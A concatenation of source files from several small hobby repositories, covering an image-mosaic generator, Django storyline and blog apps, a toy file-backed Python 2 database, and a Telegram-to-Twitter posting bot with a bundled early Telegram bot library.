tiles images left to process') progress_bar(progress, len(split_image_average_rgb)) print(f'Preparing tile indices\n') for process, index in enumerate(indices): tile_fit.append(self.tiles[index]) progress_bar(process, len(indices)) return tile_fit """ MosaicImage class takes the tile images and populates it into a Mosaic image """ class MosaicImage: def __init__(self, tile_images: list, grid_size): self.tiles = tile_images self.grid_size = grid_size def build_mosaic(self) -> Image: number_of_columns, number_of_rows = self.grid_size width = max([tile.size[0] for tile in self.tiles]) height = max([tile.size[1] for tile in self.tiles]) grid_image = Image.new('RGB', (width * number_of_columns, height * number_of_rows)) print(f'Pasting tile of best fit images') for i in range(len(self.tiles)): row_number = int(i / number_of_rows) column_number = i - number_of_columns * row_number grid_image.paste(self.tiles[i], (column_number * width, row_number * height)) progress_bar(i, len(self.tiles)) return grid_image @staticmethod def save(image, filename=None): path = os.path.join(os.getcwd(), 'output') if not os.path.exists(path): os.mkdir(path) if filename is not None: saved_path = os.path.join(os.getcwd(), 'output/', filename + '.jpg') else: saved_path = os.path.join(os.getcwd(), 'output/mosaic.jpg') image.save(saved_path) print(f'File has been saved at {saved_path}') --- FILE SEPARATOR --- import numpy as np import random import math def get_average_rgb(image): im = np.array(image) width, height, dimension = im.shape return tuple(np.average(im.reshape(width * height, dimension), axis=0)) def euclidean_distance(x1: list, x2: list): distance = 0 if len(x1) != len(x2): raise Exception('Two arrays do not have identical lengths') else: for i in range(len(x1)): distance = distance + (x1[i] - x2[i]) ** 2 return math.sqrt(distance) def best_match_tile_images(target_tile_rgb_average:list, tile_rgb_averages:list) -> int: min_dist = float("inf") best_fit_index = 0 for index, average in enumerate(tile_rgb_averages): dist = euclidean_distance(target_tile_rgb_average, average) if dist < min_dist: if bool(random.getrandbits(1)): min_dist = dist best_fit_index = index return best_fit_index def progress_bar(progress: int, len_of_array: int) -> None: if round(float(progress / len_of_array) * 100) == 0.0: print(f'[Start > Finish]') if round(float(progress / len_of_array) * 100) == 10.0: print(f'[Start ========> Finish]') if round(float(progress / len_of_array) * 100) == 20.0: print(f'[Start ==============> Finish]') if round(float(progress / len_of_array) * 100) == 30.0: print(f'[Start ===================> Finish]') if round(float(progress / len_of_array) * 100) == 40.0: print(f'[Start =========================> Finish]') if round(float(progress / len_of_array) * 100) == 50.0: print(f'[Start ================================> Finish]') if round(float(progress / len_of_array) * 100) == 60.0: print(f'[Start =======================================> Finish]') if round(float(progress / len_of_array) * 100) == 70.0: print(f'[Start ==============================================> Finish]') if round(float(progress / len_of_array) * 100) == 80.0: print(f'[Start =====================================================> Finish]') if round(float(progress / len_of_array) * 100) == 90.0: print(f'[Start ===========================================================>Finish]')
[ "/mosaic_app.py", "/src/config/config.py", "/src/mosaic.py", "/src/utils/image.py", "/src/utils/processor.py" ]
0sn/nr_storylines
from django.contrib import admin from models import Storyline class StorylineAdmin(admin.ModelAdmin): list_display = ('title','total','first','last') prepopulated_fields = {'slug': ('title',),} filter_vertical = ('comics',) def total(self, obj): """ Returns number of comics associated with storyline """ return obj.comics.all().count() admin.site.register(Storyline,StorylineAdmin) --- FILE SEPARATOR --- from django.db import models class Storyline(models.Model): title = models.CharField(max_length=100) slug = models.SlugField(max_length=100) description = models.TextField(blank=True) comics = models.ManyToManyField('nr_comics.Comic') major = models.BooleanField(default=False) class Meta: ordering = ('slug',) def __unicode__(self): return u"%s" % self.title def first(self): return self.comics.public().order_by('date')[0] def last(self): return self.comics.public().order_by('-date')[0] def associated_ids(self): return self.comics.public().order_by('date').values_list('sequence', flat=True) --- FILE SEPARATOR --- from django import template from django.http import Http404 import re from nr_storylines.models import Storyline from nr_comics.models import Comic register = template.Library() def do_storyline_nav(parser, token): return StorylineNav() class StorylineNav(template.Node): def render(self, context): storyline = template.Variable("storyline").resolve(context) comic = template.Variable("comic").resolve(context) t = template.loader.get_template("nr_storylines/storyline_navfragment.html") ids = list(storyline.associated_ids()) try: index = ids.index(comic.sequence) except ValueError: raise Http404 return t.render(template.Context({ 'storyline':storyline, 'comic':comic, 'first': ids[0], 'prev': ids[index-1], 'next': ids[(index+1)%len(ids)], 'last': ids[-1] })) register.tag("storyline_nav", do_storyline_nav) --- FILE SEPARATOR --- from django.conf.urls.defaults import * from django.views.generic.list_detail import object_list from models import Storyline urlpatterns = patterns('', url(r'^$', object_list, {"queryset": Storyline.objects.all(),"template_object_name":"storyline"}, name="archive"), )
[ "/admin.py", "/models.py", "/templatetags/storyline.py", "/urls.py" ]
0student0/project_blog
from django.db import models from django.urls import reverse class Post(models.Model): title = models.CharField(max_length=200) slug = models.SlugField(max_length=100, unique=True) image = models.ImageField(upload_to='blog/') text = models.TextField() draft = models.BooleanField("Черновик", default=False) create_at = models.DateTimeField(auto_now_add=True) def __str__(self): return self.title def get_absolute_url(self): return reverse('post_detail', args[str(self.id)]) --- FILE SEPARATOR --- from django.views.generic import ListView from .models import Post class BlogListView(ListView): model = Post queryset = Post.objects.filter(draft=False) template_name = 'home_page.html'
[ "/blog/models.py", "/blog/views.py" ]
0sunny/pyp-c4-a1-b4-g3-t1
"""The file to test the package pyp_database.""" import logic as l import pyp_database as pdb print pdb.show_databases() #db = pdb.use('testdb.db') #print pdb.show_tables() tb = l.Table('test', ('a','b','c')) #db = l.Database('testdb') #db.create_table('new', ('a','b','c')) #db.new.insert((1,2,3)) #print db.new.query(a = 10) #db.create_table('new', ('a')) for row in tb: print row #tb.insert((10,20,30)) #tb.insert((100,200,300)) #tb.insert_rows(((2,3,4),(5,6,7),(8,9,10))) print tb.query(a = 10) print tb.query(a = 10, b = 20, d = 4) print tb.query(a = 100, b = 200) for row in tb: print row --- FILE SEPARATOR --- """File which has the exceptions for the pyp_database.""" class DataBaseNotFoundError(Exception): pass class TableNotFoundError(Exception): pass class TableAlreadyExistsError(Exception): pass class DatabaseAlreadyExistsError(Exception): pass class ColumnNotFoundError(Exception): pass --- FILE SEPARATOR --- """File with the required class definitions.""" from __future__ import print_function, division import os import exceptions as e class Table(object): """The class structure for the table, this has methods to update entries, delete entries, insert entries, display the table.""" def __init__(self, name, columns = None, column_types = None, column_none_allowed = None, duplicates_allowed = True, indexed = False): """Initialize the table with the columns and name. The columns is a tuple with the column names, the column types is a tuple with types of data allowed for that coloumn, having None/empty as type means any type allowed and columns_none_allowed or not is a tuple of booleans.""" self.name = name self.columns = columns self._is_column_name_valid() self.column_types = column_types self.column_none_allowed = column_none_allowed self.duplicates_allowed = duplicates_allowed self.indexed = indexed self.path = self.name + ".table" self.num_rows = 0 self.num_valid_rows = 0 if not os.path.exists(self.path): #Create the file if it doesn't exist. self._write_metadata() with open(self.path, 'w') as f: pass else: self.load() self.file = None def _write_metadata(self): """Write the table metadata into the file.""" #This part would be to make the database persistent """ #Metadata format: Name Database Name columns column types columns_none_allowed indexed - boolean duplicates_allowed - boolean number of rows of data number of valid rows of data """ with open(self.path + ".metadata", 'w') as f: f.write(self.name + "\n") f.write("\n") f.write(",".join(self.columns) + "\n") if self.column_types is not None: f.write(",".join(self.column_types) + "\n") else: f.write(str(None) + "\n") if self.column_none_allowed is not None: f.write(",".join(self.columns_none_allowed) + "\n") else: f.write(str(None) + "\n") f.write(str(self.indexed) + "\n") f.write(str(self.duplicates_allowed) + "\n") f.write(str(self.num_rows) + "\n") f.write(str(self.num_valid_rows) + "\n") def load(self): """Load the table from the file, useful to make this persistent.""" #load the metadata and update the attribute variables. with open(self.path + ".metadata", 'r') as f: self.name = f.readline()[:-1] f.readline() self.columns = tuple(f.readline()[:-1].split(",")) self.column_types = tuple(f.readline()[:-1].split(",")) self.column_none_allowed = tuple(f.readline()[:-1].split(",")) if f.readline()[:-1] == 'True': self.indexed = True else: self.indexed = False if f.readline()[:-1] == 'True': self.duplicates_allowed = True else: self.duplicates_allowed = False self.num_rows = int(f.readline()[:-1]) self.num_valid_rows = int(f.readline()[:-1]) def _is_column_name_valid(self): """Make sure that the column do not end with __, as is it used for better queries.""" if any(col[-2:] == '__' for col in self.columns): raise NameError('Columns cannot have double underscore towards end.') def _is_valid_data(self, row = None, **kwargs): """Checks if the row or kwargs have valid data types.""" #Incomplete if row is not None: if len(row) == len(self.columns): pass def __iter__(self, mode = 'r'): self.file = open(self.path, mode) return self.file def __next__(self): try: res = next(self) res = ",".join(res.strip().split(",")[2:]) except StopIteration: self.file.close() raise StopIteration return res def __str__(self): """Return the table in a pretty format.""" res = "" for row in self: res += row return res def insert(self, row): """Insert the row which is a tuple of strings into the table.""" if self.file and not self.file.closed: self.file.close() with open(self.path, 'a') as self.file: row = (str(self.num_rows + 1), '1') + tuple(str(i) for i in row) self.file.write(",".join(row)) self.file.write("\n") self.num_rows += 1 self.num_valid_rows += 1 def insert_rows(self, rows): """Insert the rows into the table.""" #Can modify later to chunk the rows for insertion val = "\n".join([",".join([str(self.num_rows + i + 1), '1'] + [str(it) for it in row]) for i,row in enumerate(rows)]) if self.file and not self.file.closed: self.file.close() with open(self.path, 'a') as self.file: self.file.write("\n") self.file.write(val) def update(self, row, **kwargs): """Update the rows based on the information in the kwargs. The rows get updated with the row.""" def query(self, **kwargs): """Find the row with the given information as in the kwargs. Can change it to find the rows with given index. Returns a list of tuples, each tuple being the line number and data""" #index_ stores the index as key and the value to be matched as value index_ = {} for key, value in kwargs.iteritems(): try: index_[self.columns.index(key)] = str(value) except ValueError: #raise e.ColumnNotFoundError() print("Column {} not found".format(key)) pass #print(index_) res = [] if index_ is not None: #row = ",".join((str(i) for i in row)) for i, curr_row in enumerate(self): temp = curr_row.strip().split(",") valid = temp[1] curr = temp[2:] #print(curr, "Current row") if valid != '0' and all(curr[k] == v for k,v in index_.iteritems()): print("Found") res.append(",".join(curr)) if res == []: return None else: return res def delete(self, row = None, **kwargs): """Delete the given row or delete the rows with the information from the kwargs.""" class Database(object): """Class Structure for the database.""" def __init__(self, name): self.name = name self.path = self.name + ".db" self.table_names = [] if not os.path.exists(self.path): #Create the file if it doesn't exist. #self._write_metadata() with open(self.path, 'w') as f: pass def create_table(self, table_name, columns = None, column_types = None, column_none_allowed = None, duplicates_allowed = True, indexed = False): """Creates the table and returns the table object. If table already exists, then prints the information and returns None.""" if table_name in self.table_names:#hasattr(self, table_name): #raise TableAlreadyExistsError() print("Table already exists, please choose a different name.") return None tb = Table(table_name, columns, column_types, column_none_allowed, duplicates_allowed, indexed) setattr(self, table_name, tb) self.table_names.append(table_name) return getattr(self, table_name) def delete_table(self, table_name): """Deletes the file if exists or prints a message.""" if hasattr(self, table_name): #Delete the table #print("Deleted the table succesfully.") os.remove(getattr(self, table_name).path) self.table_names.remvove(table_name) delattr(self, table_name) return True pass else: print("The table doesn't exist.") return False def _write_metadata(self): """Write the table metadata into the file.""" #This part would be to make the database persistent """ #Metadata format: Name """ with open(self.path + ".metadata", 'w') as f: f.write(self.name + "\n") def load(self): """Load the database from the file. Useful for persistence.""" #Nothing to update --- FILE SEPARATOR --- """The top level module.""" import os import logic as l import exceptions as e def show_databases(): """Show the databases present in the current workspace.""" items = os.listdir(workspace) dbs = [] for names in items: if names.endswith(".db"): dbs.append(names[:-3]) #print [str(db) for db in dbs] return dbs def show_tables(): """Show the tables present in the current database.""" return "\n".join([str(tab) for tab in default_db.table_names]) def create_database(name): """Create a database with the given name.""" if name in db_names: print "Database with {} name exists already.".format(name) return None else: db = l.Database(name) db_names.append(name) return db def delete_database(name): """Delete the database with the given name, else mesage printed/error raised.""" def use(name): """Use the database with the given name.""" if name not in db_names: print "Database not found, would you like to create?" return None else: db = l.Database(name) default_db = db return default_db #Setting default values workspace = os.getcwd() default_db = None db_names = show_databases()
[ "/db_usage.py", "/exceptions.py", "/logic.py", "/pyp_database.py" ]
0swin/Spammr-Bot
import tweepy import telebot from config import * telegram = telebot.TeleBot(tgToken) auth = tweepy.OAuthHandler(twConsumerKey, twConsumerSecret) auth.secure = True auth.set_access_token(twAccessToken, twAccessTokenSecret) twitter = tweepy.API(auth) registeredUser = True # SCRIPT def listener(messages): global registeredUser for message in messages: tgContact = message.chat.username tgChatID = message.chat.id text = message.text print tgContact + ": " + text if message.content_type == "text" and tgContact == tgUsername: registeredUser = True print "Registered user" else: registeredUser = False telegram.send_message(tgChatID, "Sorry, you are not allowed to use this bot") print "Unregistered user, access denied" @telegram.message_handler(commands=['tweet']) def command_tweet(tweet): global registeredUser tgChatID = tweet.chat.id twText = tweet.text twText = twText.replace("/tweet ", "") if registeredUser: if len(twText) <= 140 and registeredUser: twitter.update_status(status=twText) telegram.send_message(tgChatID, "Tweet successful") print "Tweet successful" else: telegram.send_message(tgChatID, "Sorry, wrong Twitter API Keys or message too long (max: 140 char.)") print "Sorry, wrong Twitter API Keys or message too long (max: 140 char.)" telegram.set_update_listener(listener) telegram.polling() telegram.polling(none_stop=True) telegram.polling(interval=1) while True: pass --- FILE SEPARATOR --- # TELEGRAM SETUP tgUsername = '' tgToken = '' # TWITTER SETUP twConsumerKey = '' twConsumerSecret = '' twAccessToken = '' twAccessTokenSecret = '' --- FILE SEPARATOR --- # -*- coding: utf-8 -*- from __future__ import print_function import threading # Python3 queue support. try: import Queue except ImportError: import queue as Queue import time import logging logger = logging.getLogger('Telebot') import re from telebot import apihelper, types """ Module : telebot """ API_URL = r"https://api.telegram.org/" class ThreadPool: class WorkerThread(threading.Thread): count = 0 def __init__(self, queue): threading.Thread.__init__(self, name="WorkerThread{0}".format(self.__class__.count + 1)) self.__class__.count += 1 self.queue = queue self.daemon = True self._running = True self.start() def run(self): while self._running: try: task, args, kwargs = self.queue.get() task(*args, **kwargs) except Queue.Empty: time.sleep(0) pass def stop(self): self._running = False def __init__(self, num_threads=4): self.tasks = Queue.Queue() self.workers = [self.WorkerThread(self.tasks) for _ in range(num_threads)] self.num_threads = num_threads def put(self, func, *args, **kwargs): self.tasks.put((func, args, kwargs)) def close(self): for worker in self.workers: worker.stop() for worker in self.workers: worker.join() class TeleBot: """ This is TeleBot Class Methods: getMe sendMessage forwardMessage sendPhoto sendAudio sendDocument sendSticker sendVideo sendLocation sendChatAction getUserProfilePhotos getUpdates """ def __init__(self, token, create_threads=True, num_threads=4): """ :param token: bot API token :param create_threads: Create thread for message handler :param num_threads: Number of worker in thread pool. :return: Telebot object. """ self.token = token self.update_listener = [] self.polling_thread = None self.__stop_polling = threading.Event() self.last_update_id = 0 self.num_threads = num_threads self.__create_threads = create_threads self.message_subscribers_messages = [] self.message_subscribers_callbacks = [] # key: chat_id, value: handler list self.message_subscribers_next_step = {} self.message_handlers = [] if self.__create_threads: self.worker_pool = ThreadPool(num_threads) def get_update(self): """ Retrieves any updates from the Telegram API. Registered listeners and applicable message handlers will be notified when a new message arrives. :raises ApiException when a call has failed. """ updates = apihelper.get_updates(self.token, offset=(self.last_update_id + 1), timeout=20) new_messages = [] for update in updates: if update['update_id'] > self.last_update_id: self.last_update_id = update['update_id'] msg = types.Message.de_json(update['message']) new_messages.append(msg) logger.debug('GET %d new messages' % len(new_messages)) if len(new_messages) > 0: self.process_new_messages(new_messages) def process_new_messages(self, new_messages): self.__notify_update(new_messages) self._notify_command_handlers(new_messages) self._notify_message_subscribers(new_messages) self._notify_message_next_handler(new_messages) def __notify_update(self, new_messages): for listener in self.update_listener: if self.__create_threads: self.worker_pool.put(listener, new_messages) else: listener(new_messages) def polling(self, none_stop=False, interval=0): """ This function creates a new Thread that calls an internal __polling function. This allows the bot to retrieve Updates automagically and notify listeners and message handlers accordingly. Do not call this function more than once! Always get updates. :param none_stop: Do not stop polling when Exception occur. :return: """ self.__stop_polling.set() if self.polling_thread: self.polling_thread.join() # wait thread stop. self.__stop_polling.clear() self.polling_thread = threading.Thread(target=self.__polling, args=([none_stop, interval])) self.polling_thread.daemon = True self.polling_thread.start() def __polling(self, none_stop, interval): logger.info('TeleBot: Started polling.') while not self.__stop_polling.wait(interval): try: self.get_update() except Exception as e: if not none_stop: self.__stop_polling.set() logger.info("TeleBot: Exception occurred. Stopping.") logger.error(e) logger.info('TeleBot: Stopped polling.') def stop_polling(self): self.__stop_polling.set() def set_update_listener(self, listener): self.update_listener.append(listener) def get_me(self): result = apihelper.get_me(self.token) return types.User.de_json(result) def get_user_profile_photos(self, user_id, offset=None, limit=None): """ Retrieves the user profile photos of the person with 'user_id' See https://core.telegram.org/bots/api#getuserprofilephotos :param user_id: :param offset: :param limit: :return: API reply. """ result = apihelper.get_user_profile_photos(self.token, user_id, offset, limit) return types.UserProfilePhotos.de_json(result) def send_message(self, chat_id, text, disable_web_page_preview=None, reply_to_message_id=None, reply_markup=None): """ Use this method to send text messages. Warning: Do not send more than about 5000 characters each message, otherwise you'll risk an HTTP 414 error. If you must send more than 5000 characters, use the split_string function in apihelper.py. :param chat_id: :param text: :param disable_web_page_preview: :param reply_to_message_id: :param reply_markup: :return: API reply. """ return types.Message.de_json( apihelper.send_message(self.token, chat_id, text, disable_web_page_preview, reply_to_message_id, reply_markup)) def forward_message(self, chat_id, from_chat_id, message_id): """ Use this method to forward messages of any kind. :param chat_id: which chat to forward :param from_chat_id: which chat message from :param message_id: message id :return: API reply. """ return types.Message.de_json(apihelper.forward_message(self.token, chat_id, from_chat_id, message_id)) def send_photo(self, chat_id, photo, caption=None, reply_to_message_id=None, reply_markup=None): """ Use this method to send photos. :param chat_id: :param photo: :param caption: :param reply_to_message_id: :param reply_markup: :return: API reply. """ return types.Message.de_json( apihelper.send_photo(self.token, chat_id, photo, caption, reply_to_message_id, reply_markup)) def send_audio(self, chat_id, data, reply_to_message_id=None, reply_markup=None): """ Use this method to send audio files, if you want Telegram clients to display the file as a playable voice message. For this to work, your audio must be in an .ogg file encoded with OPUS :param chat_id: :param data: :param reply_to_message_id: :param reply_markup: :return: API reply. """ return types.Message.de_json( apihelper.send_data(self.token, chat_id, data, 'audio', reply_to_message_id, reply_markup)) def send_document(self, chat_id, data, reply_to_message_id=None, reply_markup=None): """ Use this method to send general files. :param chat_id: :param data: :param reply_to_message_id: :param reply_markup: :return: API reply. """ return types.Message.de_json( apihelper.send_data(self.token, chat_id, data, 'document', reply_to_message_id, reply_markup)) def send_sticker(self, chat_id, data, reply_to_message_id=None, reply_markup=None): """ Use this method to send .webp stickers. :param chat_id: :param data: :param reply_to_message_id: :param reply_markup: :return: API reply. """ return types.Message.de_json( apihelper.send_data(self.token, chat_id, data, 'sticker', reply_to_message_id, reply_markup)) def send_video(self, chat_id, data, duration=None, caption=None, reply_to_message_id=None, reply_markup=None): """ Use this method to send video files, Telegram clients support mp4 videos. :param chat_id: Integer : Unique identifier for the message recipient — User or GroupChat id :param data: InputFile or String : Video to send. You can either pass a file_id as String to resend a video that is already on the Telegram server :param duration: Integer : Duration of sent video in seconds :param caption: String : Video caption (may also be used when resending videos by file_id). :param reply_to_message_id: :param reply_markup: :return: """ return types.Message.de_json( apihelper.send_video(self.token, chat_id, data, duration, caption, reply_to_message_id, reply_markup)) def send_location(self, chat_id, latitude, longitude, reply_to_message_id=None, reply_markup=None): """ Use this method to send point on the map. :param chat_id: :param latitude: :param longitude: :param reply_to_message_id: :param reply_markup: :return: API reply. """ return types.Message.de_json( apihelper.send_location(self.token, chat_id, latitude, longitude, reply_to_message_id, reply_markup)) def send_chat_action(self, chat_id, action): """ Use this method when you need to tell the user that something is happening on the bot's side. The status is set for 5 seconds or less (when a message arrives from your bot, Telegram clients clear its typing status). :param chat_id: :param action: One of the following strings: 'typing', 'upload_photo', 'record_video', 'upload_video', 'record_audio', 'upload_audio', 'upload_document', 'find_location'. :return: API reply. :type: boolean """ return apihelper.send_chat_action(self.token, chat_id, action) def reply_to(self, message, text, **kwargs): """ Convenience function for `send_message(message.chat.id, text, reply_to_message_id=message.message_id, **kwargs)` """ return self.send_message(message.chat.id, text, reply_to_message_id=message.message_id, **kwargs) def register_for_reply(self, message, callback): """ Registers a callback function to be notified when a reply to `message` arrives. Warning: `message` must be sent with reply_markup=types.ForceReply(), otherwise TeleBot will not be able to see the difference between a reply to `message` and an ordinary message. :param message: The message for which we are awaiting a reply. :param callback: The callback function to be called when a reply arrives. Must accept one `message` parameter, which will contain the replied message. """ self.message_subscribers_messages.insert(0, message.message_id) self.message_subscribers_callbacks.insert(0, callback) if len(self.message_subscribers_messages) > 10000: self.message_subscribers_messages.pop() self.message_subscribers_callbacks.pop() def _notify_message_subscribers(self, new_messages): for message in new_messages: if not hasattr(message, 'reply_to_message'): continue reply_msg_id = message.reply_to_message.message_id if reply_msg_id in self.message_subscribers_messages: index = self.message_subscribers_messages.index(reply_msg_id) self.message_subscribers_callbacks[index](message) del self.message_subscribers_messages[index] del self.message_subscribers_callbacks[index] def register_next_step_handler(self, message, callback): """ Registers a callback function to be notified when new message arrives after `message`. :param message: The message for which we want to handle new message after that in same chat. :param callback: The callback function which next new message arrives. """ chat_id = message.chat.id if chat_id in self.message_subscribers_next_step: self.message_subscribers_next_step.append(callback) else: self.message_subscribers_next_step[chat_id] = [callback] def _notify_message_next_handler(self, new_messages): for message in new_messages: chat_id = message.chat.id if chat_id in self.message_subscribers_next_step: handlers = self.message_subscribers_next_step[chat_id] for handler in handlers: self.worker_pool.put(handler, message) self.message_subscribers_next_step.pop(chat_id, None) def message_handler(self, commands=None, regexp=None, func=None, content_types=['text']): """ Message handler decorator. This decorator can be used to decorate functions that must handle certain types of messages. All message handlers are tested in the order they were added. Example: bot = TeleBot('TOKEN') # Handles all messages which text matches regexp. @bot.message_handler(regexp='someregexp') def command_help(message): bot.send_message(message.chat.id, 'Did someone call for help?') # Handle all sent documents of type 'text/plain'. @bot.message_handler(func=lambda message: message.document.mime_type == 'text/plain', content_types=['document']) def command_handle_document(message): bot.send_message(message.chat.id, 'Document received, sir!') # Handle all other commands. @bot.message_handler(func=lambda message: True, content_types=['audio', 'video', 'document', 'text', 'location', 'contact', 'sticker']) def default_command(message): bot.send_message(message.chat.id, "This is the default command handler.") :param regexp: Optional regular expression. :param func: Optional lambda function. The lambda receives the message to test as the first parameter. It must return True if the command should handle the message. :param content_types: This commands' supported content types. Must be a list. Defaults to ['text']. """ def decorator(fn): func_dict = {'function': fn, 'content_types': content_types} if regexp: func_dict['regexp'] = regexp if 'text' in content_types else None if func: func_dict['lambda'] = func if commands: func_dict['commands'] = commands if 'text' in content_types else None self.message_handlers.append(func_dict) return fn return decorator @staticmethod def _test_message_handler(message_handler, message): if message.content_type not in message_handler['content_types']: return False if 'commands' in message_handler and message.content_type == 'text': return apihelper.extract_command(message.text) in message_handler['commands'] if 'regexp' in message_handler and message.content_type == 'text' and re.search(message_handler['regexp'], message.text): return True if 'lambda' in message_handler: return message_handler['lambda'](message) return False def _notify_command_handlers(self, new_messages): for message in new_messages: for message_handler in self.message_handlers: if self._test_message_handler(message_handler, message): if self.__create_threads: self.worker_pool.put(message_handler['function'], message) # t = threading.Thread(target=message_handler['function'], args=(message,)) # t.start() else: message_handler['function'](message) break class AsyncTask: def __init__(self, target, *args, **kwargs): self.target = target self.args = args self.kwargs = kwargs self.done = False self.thread = threading.Thread(target=self._run) self.thread.start() def _run(self): try: self.result = self.target(*self.args, **self.kwargs) except Exception as e: self.result = e self.done = True def wait(self): if not self.done: self.thread.join() if isinstance(self.result, Exception): raise self.result else: return self.result def async(): def decorator(fn): def wrapper(*args, **kwargs): return AsyncTask(fn, *args, **kwargs) return wrapper return decorator class AsyncTeleBot(TeleBot): def __init__(self, *args, **kwargs): TeleBot.__init__(self, *args, **kwargs) @async() def get_me(self): return TeleBot.get_me(self) @async() def get_user_profile_photos(self, *args, **kwargs): return TeleBot.get_user_profile_photos(self, *args, **kwargs) @async() def send_message(self, *args, **kwargs): return TeleBot.send_message(self, *args, **kwargs) @async() def forward_message(self, *args, **kwargs): return TeleBot.forward_message(self, *args, **kwargs) @async() def send_photo(self, *args, **kwargs): return TeleBot.send_photo(self, *args, **kwargs) @async() def send_audio(self, *args, **kwargs): return TeleBot.send_audio(self, *args, **kwargs) @async() def send_document(self, *args, **kwargs): return TeleBot.send_document(self, *args, **kwargs) @async() def send_sticker(self, *args, **kwargs): return TeleBot.send_sticker(self, *args, **kwargs) @async() def send_video(self, *args, **kwargs): return TeleBot.send_video(self, *args, **kwargs) @async() def send_location(self, *args, **kwargs): return TeleBot.send_location(self, *args, **kwargs) @async() def send_chat_action(self, *args, **kwargs): return TeleBot.send_chat_action(self, *args, **kwargs) --- FILE SEPARATOR --- # -*- coding: utf-8 -*- import requests from six import string_types import telebot from telebot import types logger = telebot.logger def _make_request(token, method_name, method='get', params=None, files=None): """ Makes a request to the Telegram API. :param token: The bot's API token. (Created with @BotFather) :param method_name: Name of the API method to be called. (E.g. 'getUpdates') :param method: HTTP method to be used. Defaults to 'get'. :param params: Optional parameters. Should be a dictionary with key-value pairs. :param files: Optional files. :return: """ request_url = telebot.API_URL + 'bot' + token + '/' + method_name result = requests.request(method, request_url, params=params, files=files) logger.debug(result.text) if result.status_code != 200: raise ApiException(method_name, result) try: result_json = result.json() if not result_json['ok']: raise Exception() except: raise ApiException(method_name, result) return result_json['result'] def get_me(token): method_url = 'getMe' return _make_request(token, method_url) def send_message(token, chat_id, text, disable_web_page_preview=None, reply_to_message_id=None, reply_markup=None): """ Use this method to send text messages. On success, the sent Message is returned. :param token: :param chat_id: :param text: :param disable_web_page_preview: :param reply_to_message_id: :param reply_markup: :return: """ method_url = r'sendMessage' payload = {'chat_id': str(chat_id), 'text': text} if disable_web_page_preview: payload['disable_web_page_preview'] = disable_web_page_preview if reply_to_message_id: payload['reply_to_message_id'] = reply_to_message_id if reply_markup: payload['reply_markup'] = _convert_markup(reply_markup) return _make_request(token, method_url, params=payload, method='post') def get_updates(token, offset=None, limit=None, timeout=None): method_url = r'getUpdates' payload = {} if offset: payload['offset'] = offset if limit: payload['limit'] = limit if timeout: payload['timeout'] = timeout return _make_request(token, method_url, params=payload) def get_user_profile_photos(token, user_id, offset=None, limit=None): method_url = r'getUserProfilePhotos' payload = {'user_id': user_id} if offset: payload['offset'] = offset if limit: payload['limit'] = limit return _make_request(token, method_url, params=payload) def forward_message(token, chat_id, from_chat_id, message_id): method_url = r'forwardMessage' payload = {'chat_id': chat_id, 'from_chat_id': from_chat_id, 'message_id': message_id} return _make_request(token, method_url, params=payload) def send_photo(token, chat_id, photo, caption=None, reply_to_message_id=None, reply_markup=None): method_url = r'sendPhoto' payload = {'chat_id': chat_id} files = None if not is_string(photo): files = {'photo': photo} else: payload['photo'] = photo if caption: payload['caption'] = caption if reply_to_message_id: payload['reply_to_message_id'] = reply_to_message_id if reply_markup: payload['reply_markup'] = _convert_markup(reply_markup) return _make_request(token, method_url, params=payload, files=files, method='post') def send_location(token, chat_id, latitude, longitude, reply_to_message_id=None, reply_markup=None): method_url = r'sendLocation' payload = {'chat_id': chat_id, 'latitude': latitude, 'longitude': longitude} if reply_to_message_id: payload['reply_to_message_id'] = reply_to_message_id if reply_markup: payload['reply_markup'] = _convert_markup(reply_markup) return _make_request(token, method_url, params=payload) def send_chat_action(token, chat_id, action): method_url = r'sendChatAction' payload = {'chat_id': chat_id, 'action': action} return _make_request(token, method_url, params=payload) def send_video(token, chat_id, data, duration=None, caption=None, reply_to_message_id=None, reply_markup=None): method_url = r'sendVideo' payload = {'chat_id': chat_id} files = None if not is_string(data): files = {'video': data} else: payload['video'] = data if duration: payload['duration'] = duration if caption: payload['caption'] = caption if reply_to_message_id: payload['reply_to_message_id'] = reply_to_message_id if reply_markup: payload['reply_markup'] = _convert_markup(reply_markup) return _make_request(token, method_url, params=payload, files=files, method='post') def send_data(token, chat_id, data, data_type, reply_to_message_id=None, reply_markup=None): method_url = get_method_by_type(data_type) payload = {'chat_id': chat_id} files = None if not is_string(data): files = {data_type: data} else: payload[data_type] = data if reply_to_message_id: payload['reply_to_message_id'] = reply_to_message_id if reply_markup: payload['reply_markup'] = _convert_markup(reply_markup) return _make_request(token, method_url, params=payload, files=files, method='post') def get_method_by_type(data_type): if data_type == 'audio': return 'sendAudio' if data_type == 'document': return 'sendDocument' if data_type == 'sticker': return 'sendSticker' def _convert_markup(markup): if isinstance(markup, types.JsonSerializable): return markup.to_json() return markup def is_string(var): return isinstance(var, string_types) def is_command(text): """ Checks if `text` is a command. Telegram chat commands start with the '/' character. :param text: Text to check. :return: True if `text` is a command, else False. """ return text.startswith('/') def extract_command(text): """ Extracts the command from `text` (minus the '/') if `text` is a command (see is_command). If `text` is not a command, this function returns None. Examples: extract_command('/help'): 'help' extract_command('/help@BotName'): 'help' extract_command('/search black eyed peas'): 'search' extract_command('Good day to you'): None :param text: String to extract the command from :return: the command if `text` is a command (according to is_command), else None. """ return text.split()[0].split('@')[0][1:] if is_command(text) else None def split_string(text, chars_per_string): """ Splits one string into multiple strings, with a maximum amount of `chars_per_string` characters per string. This is very useful for splitting one giant message into multiples. :param text: The text to split :param chars_per_string: The number of characters per line the text is split into. :return: The splitted text as a list of strings. """ return [text[i:i + chars_per_string] for i in range(0, len(text), chars_per_string)] class ApiException(Exception): """ This class represents an Exception thrown when a call to the Telegram API fails. """ def __init__(self, function_name, result): super(ApiException, self).__init__('{0} failed. Returned result: {1}'.format(function_name, result)) self.function_name = function_name self.result = result --- FILE SEPARATOR --- # -*- coding: utf-8 -*- """ Available types User GroupChat Message PhotoSize Audio Document Sticker Video Contact Location Update InputFile UserProfilePhotos ReplyKeyboardMarkup ReplyKeyboardHide ForceReply """ import json class JsonSerializable: """ Subclasses of this class are guaranteed to be able to be converted to JSON format. All subclasses of this class must override to_json. """ def to_json(self): """ Returns a JSON string representation of this class. This function must be overridden by subclasses. :return: a JSON formatted string. """ raise NotImplementedError class JsonDeserializable: """ Subclasses of this class are guaranteed to be able to be created from a json-style dict or json formatted string. All subclasses of this class must override de_json. """ @classmethod def de_json(cls, json_type): """ Returns an instance of this class from the given json dict or string. This function must be overridden by subclasses. :return: an instance of this class created from the given json dict or string. """ raise NotImplementedError @staticmethod def 